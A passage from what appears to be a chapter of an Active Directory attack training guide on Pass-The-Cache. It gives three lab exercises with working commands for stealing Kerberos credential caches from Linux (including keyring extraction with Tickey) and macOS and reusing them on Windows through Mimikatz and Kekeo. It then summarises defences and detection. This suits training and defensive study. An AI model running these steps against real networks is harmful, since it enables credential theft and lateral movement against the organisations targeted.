  • Automatic credential revocation after use
  • No persistent credential caching

Practical Exercises

Exercise 1: Cross-Platform Ticket Extraction and Conversion

Objective: Extract Kerberos tickets from a Linux system and import them into a Windows session.

Prerequisites:

  • Linux system joined to Active Directory (MIT Kerberos)
  • Windows system with Mimikatz
  • Valid AD user account

Steps:

  1. On the Linux system, authenticate and cache credentials:

    bash
    kinit alice@CORP.ACME.COM
    klist
  2. Locate and identify the credential cache file:

    bash
    echo $KRB5CCNAME
    ls -la /tmp/krb5cc_*
  3. Export and encode the ccache file:

    bash
    base64 /tmp/krb5cc_$(id -u) > ccache_export.b64
  4. Transfer the file to the Windows attack system.

  5. Decode and save the ccache file:

    powershell
    [System.IO.File]::WriteAllBytes("C:\Temp\alice.ccache",
        [Convert]::FromBase64String((Get-Content ccache_export.b64 -Raw)))
  6. Use Mimikatz to list the ccache contents:

    mimikatz # kerberos::clist C:\Temp\alice.ccache
  7. Import the tickets into your Windows session:

    mimikatz # kerberos::ptc C:\Temp\alice.ccache
  8. Verify the imported tickets:

    mimikatz # kerberos::list
  9. Test authentication using the imported ticket:

    C:\> dir \\fileserver.corp.acme.com\share

Expected Result: You should successfully authenticate to network resources using the imported Kerberos ticket without providing a password.

Cleanup:

mimikatz # kerberos::purge

Exercise 2: Keyring-Based Credential Extraction (Linux)

Objective: Extract Kerberos credentials from kernel keyring-based caches using Tickey.

Prerequisites:

  • Linux system with KEYRING-based credential cache
  • Root or sudo access
  • Tickey tool compiled for your system
  • Active Kerberos session

Steps:

  1. Configure MIT Kerberos to use keyring cache (if not already):

    bash
    sudo vim /etc/krb5.conf
    # Set: default_ccache_name = KEYRING:persistent:%{uid}
  2. Authenticate as a regular user:

    bash
    kinit bob@CORP.ACME.COM
    klist
  3. Verify credentials are in keyring (not file):

    bash
    echo $KRB5CCNAME
    # Should show: KEYRING:persistent:1000 or similar
    
    ls /tmp/krb5cc_*
    # Should show no files
  4. Elevate to root:

    bash
    sudo -i
  5. Run Tickey to extract keyring credentials:

    bash
    ./tickey
  6. Examine the extracted ccache file:

    bash
    ls -la /tmp/__krb_*.ccache
  7. Parse the extracted ccache:

    bash
    klist -c /tmp/__krb_1000.ccache
  8. Transfer to Windows system and import with Mimikatz:

    mimikatz # kerberos::clist /tmp/__krb_1000.ccache /export

Expected Result: Successfully extracted credentials from kernel keyring that were not stored in filesystem.

Discussion Points:

  • How does keyring protection compare to file-based caches?
  • What additional privileges are required for keyring extraction?
  • How would you detect this activity in auditd logs?

Exercise 3: macOS Credential Export and Cross-Platform Use

Objective: Export Kerberos credentials from macOS KCM and use them on Windows.

Prerequisites:

  • macOS system bound to Active Directory
  • Active Kerberos session
  • Windows system with Mimikatz

Steps:

  1. On macOS, verify AD binding and Kerberos configuration:

    bash
    dsconfigad -show
  2. Authenticate and cache credentials:

    bash
    kinit carol@CORP.ACME.COM
  3. List cached credentials:

    bash
    kcc list
  4. Export all cached credentials to ccache file:

    bash
    kcc copy_cred_cache /tmp/carol.ccache
  5. Examine the exported ccache:

    bash
    klist -c /tmp/carol.ccache
  6. Export only the TGT:

    bash
    kcc copy_cred_cache --flags=initial /tmp/carol_tgt.ccache
  7. Transfer to Windows system and import:

    mimikatz # kerberos::ptc carol.ccache
  8. Test authentication with imported credentials:

    C:\> net use \\dc01.corp.acme.com\c$
  9. Export tickets back to ccache format using Kekeo:

    kekeo # kerberos::list /export
    kekeo # misc::convert ccache 0-carol@krbtgt~CORP.ACME.COM.kirbi
  10. Transfer the converted ccache back to macOS or Linux system for bidirectional testing.

Expected Result: Successfully exported credentials from macOS KCM and used them on Windows, then converted Windows tickets back to Unix format.

Extension: Try using Bifrost for direct KIRBI export on macOS and compare with the kcc method.

Summary

Pass-The-Cache attacks demonstrate that Kerberos security challenges extend beyond Windows environments into the heterogeneous networks that characterize modern enterprises. As organizations integrate Linux servers, macOS workstations, and other Unix-based systems into their Active Directory infrastructures, credential caching on these platforms creates additional attack surfaces that adversaries can exploit for lateral movement and privilege escalation.

The fundamental technical insight is that Kerberos tickets cached on Linux (MIT Kerberos ccache) and macOS (Heimdal KCM) are identical in structure and function to Windows Kerberos tickets - they're all standard RFC 4120 credentials issued by the same Active Directory domain controllers. The only difference is the storage format on disk. Mimikatz and Kekeo's ability to parse and convert these formats enables seamless cross-platform ticket reuse, allowing attackers to move between Windows, Linux, and macOS systems using stolen credentials.

From an attacker's perspective, Pass-The-Cache provides several advantages: Unix systems often have less mature security controls than Windows endpoints; credential caches may contain tickets for highly privileged service accounts; and cross-platform attacks may evade detection systems focused primarily on Windows environments. A single compromised Linux application server or macOS developer workstation can provide the initial foothold for domain-wide compromise if privileged users have cached credentials on these systems.

Defensive strategies require a holistic approach that extends Windows-focused Kerberos protections to all platforms in the environment. On Linux systems, keyring-based credential caching provides better protection than file-based caches, though both remain vulnerable to privileged attackers. On macOS, proper integration with the system keychain and FileVault encryption strengthens credential protection. Across all platforms, shorter ticket lifetimes, strong encryption algorithms (AES-only), and comprehensive monitoring of credential access patterns are essential.

Detection presents unique challenges in heterogeneous environments. Security teams must extend their monitoring beyond Windows Event Logs to include auditd on Linux, unified logs on macOS, and cross-platform behavioral analytics. Unusual patterns - such as Kerberos tickets used from different platforms than they were issued to, or rapid authentication from multiple OS types - can indicate Pass-The-Cache attacks. Network-based detection focusing on abnormal Kerberos traffic patterns provides valuable visibility across all platforms.

The broader security lesson is that Active Directory credential protection cannot be approached as a Windows-only concern. Every system that authenticates to AD becomes part of the trust boundary, and every cached Kerberos ticket represents a potential attack vector. Organizations must implement consistent credential security controls across all platforms, maintain visibility into cross-platform authentication patterns, and recognize that the weakest link in credential protection may exist outside the Windows environment.

Cross-References

Previous Chapter

Chapter 28: Over-Pass-The-Hash - Covered converting NTLM hashes to Kerberos TGTs, setting the foundation for understanding Kerberos ticket formats and cross-platform usage.

Next Chapter

Chapter 30: Golden Ticket - Will examine forging TGTs with the krbtgt hash, including techniques for creating Golden Tickets that work across all platforms in the environment.

  • Chapter 25: Kerberos Tickets (Ticket structure, extraction, KIRBI format)
  • Chapter 26: Pass-The-Ticket (Windows-based ticket reuse techniques)
  • Chapter 31: Silver Ticket (Forging service tickets for cross-platform services)
  • Chapter 42: DPAPI Module (Additional credential protection mechanisms on Windows)